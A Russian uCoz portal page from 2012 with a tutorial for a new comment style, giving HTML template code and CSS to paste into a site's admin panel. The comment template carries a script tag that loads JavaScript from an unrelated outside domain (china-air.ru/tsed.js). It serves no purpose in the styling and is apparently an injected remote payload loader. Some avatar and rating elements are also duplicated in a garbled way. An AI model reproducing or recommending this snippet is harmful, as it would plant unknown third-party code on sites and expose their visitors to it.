Русские Новости
Вы можете добавить свою новость!

           
Русские Новости mp3 новинки скачать Новости музыки Новости туризма Новости политики Новости Интернета
Русские Новости mp3 новинки скачать В мире музыки Новости туризма Новости политики Новости Интернета
Приветствую Вас Гость | RSS

На этот сайт КАЖДЫЙ зарегистрированный пользователь может бесплатно добавить свой материал: рассказ или статью. Главное условие - ваша статья должна быть интересной, УНИКАЛЬНОЙ и не должна противоречить законам РФ. Если ваша статья уже была размещена в Интернете, то такой материал НЕ будет активирован.
Добавить свою новость
Новости музыки Новости туризма Новости Интернета Новости политики Новости фармации Программы Игры Сайты новостей Новинки софта

Форма входа
Меню сайта
Наши друзья
Наши друзья
  • рингтоны новинки 2016
  • сделать презентацию
  • экскурсии в Париже
  • Трансферы в Париже
  • льготные лекарства
  • Поиск
    Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком
    Нравится
    14:34
    Новый вид комментария для uCoz с уголком
    Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
    Установка:
    - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
    ищем код

    Code
    $COM_BODY$


    и заменяем его на

    Code
    <ul class="cell_coment">  
      $COM_BODY$  
      </ul>


    - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

    Code
    <li>  
      <div class="avatar"><a href="$PROFILE_URL$"><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></a><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></div>  
      <div class="coment_info">  
      <span class="tip"></span>  
      <div class="coment_os">  
      <div class="coment_name left"><a href="$PROFILE_URL$">$USERNAME$</a>$NAME$ <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>  
      <div class="coment_message left">$MESSAGE$</div>  
      <div class="coment_rating right">$COMMENT_RATING$ <span style="color:gray;">$COMMENT_RATING$ </span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"> $MODER_PANEL$</div>  
      </div>  
      </div>  
      </li>


    - и прописываем в css следующий код

    Code
    /* ВИД КОММЕНТАРИЯ  
      ===================================================*/  
      .cell_coment {  
      list-style: none;  
      padding: 0px;  
      margin: 0px;  
      }  
       
      .cell_coment li {  
      position: relative;  
      padding-left: 60px;  
      width: 500px;  
      }  
       
      .coment_info {  
      position: relative;  
      text-align:justify;  
      color: #555;  
      background: #fff;  
      border: 1px solid #C9C9C9;  
      padding: 10px;  
      margin-bottom: 30px;  
      }  
       
      .coment_os {  
      overflow: hidden;  
      }  
       
      .coment_name,  
      .coment_nomer {  
      padding-bottom: 5px;  
      }  
       
      .coment_message {  
      width: 100%;  
      border-top: 1px solid #C9C9C9;  
      border-bottom: 1px solid #C9C9C9;  
      padding: 5px 0px;  
      }  
       
      .coment_rating {  
      padding-top: 5px;  
      }  
       
      .coment_name,  
      .coment_nomer,  
      .coment_rating {  
      font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;  
      font-weight: bold;  
      }  
       
      .avatar a:hover,  
      .avatar {  
      position: absolute;  
      height: 45px;  
      width: 45px;  
      left: 0;  
      }  
       
      .avatar img {  
      height: 45px;  
      width: 45px;  
      border: none;  
      }  
       
      .tip{  
      position: absolute;  
      top: 10px;  
      left: -7px;  
      height: 13px;  
      width: 9px;  
      background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;  
      }  
       
      .coment_info,  
      .avatar a:hover {  
      box-shadow: 0px 0px 5px #999;  
      -moz-box-shadow: 0px 0px 5px #999;  
      -webkit-box-shadow: 0px 0px 5px #999;  
      }  
       
      .left {float:left;}  
      .right {float:right;}  
      .clear {clear:left;}  
       
      .coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}  
      /* =================================================*/




    Как скачивать файлы с нашего сайта? Видео уроки как скачивать с основных файлообменников см. ниже

    Как скачать с Depositfiles ? Как скачать с Turbobit ? Как скачать с Letitbit ?
    Как скачать с Savebit ? Как скачать с Unibites ? Как скачать с uploaded.net ?
    Как скачать с BitShare.com ? Как скачать с ShareFlare ? Как скачать с share4web ?

    Поделись с друзьми!

    Если эта новость была полезеной для вас, кликаем на кнопки и делимся ссылкой с друзьми!

    Нравится



    Категория: Скрипты для UCOZ | Просмотров: 300 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Поиск
    Скачать программы
    Календарь
    Статистика

    Онлайн всего: 66
    Гостей: 66
    Пользователей: 0


    Copyright MyCorp © 2024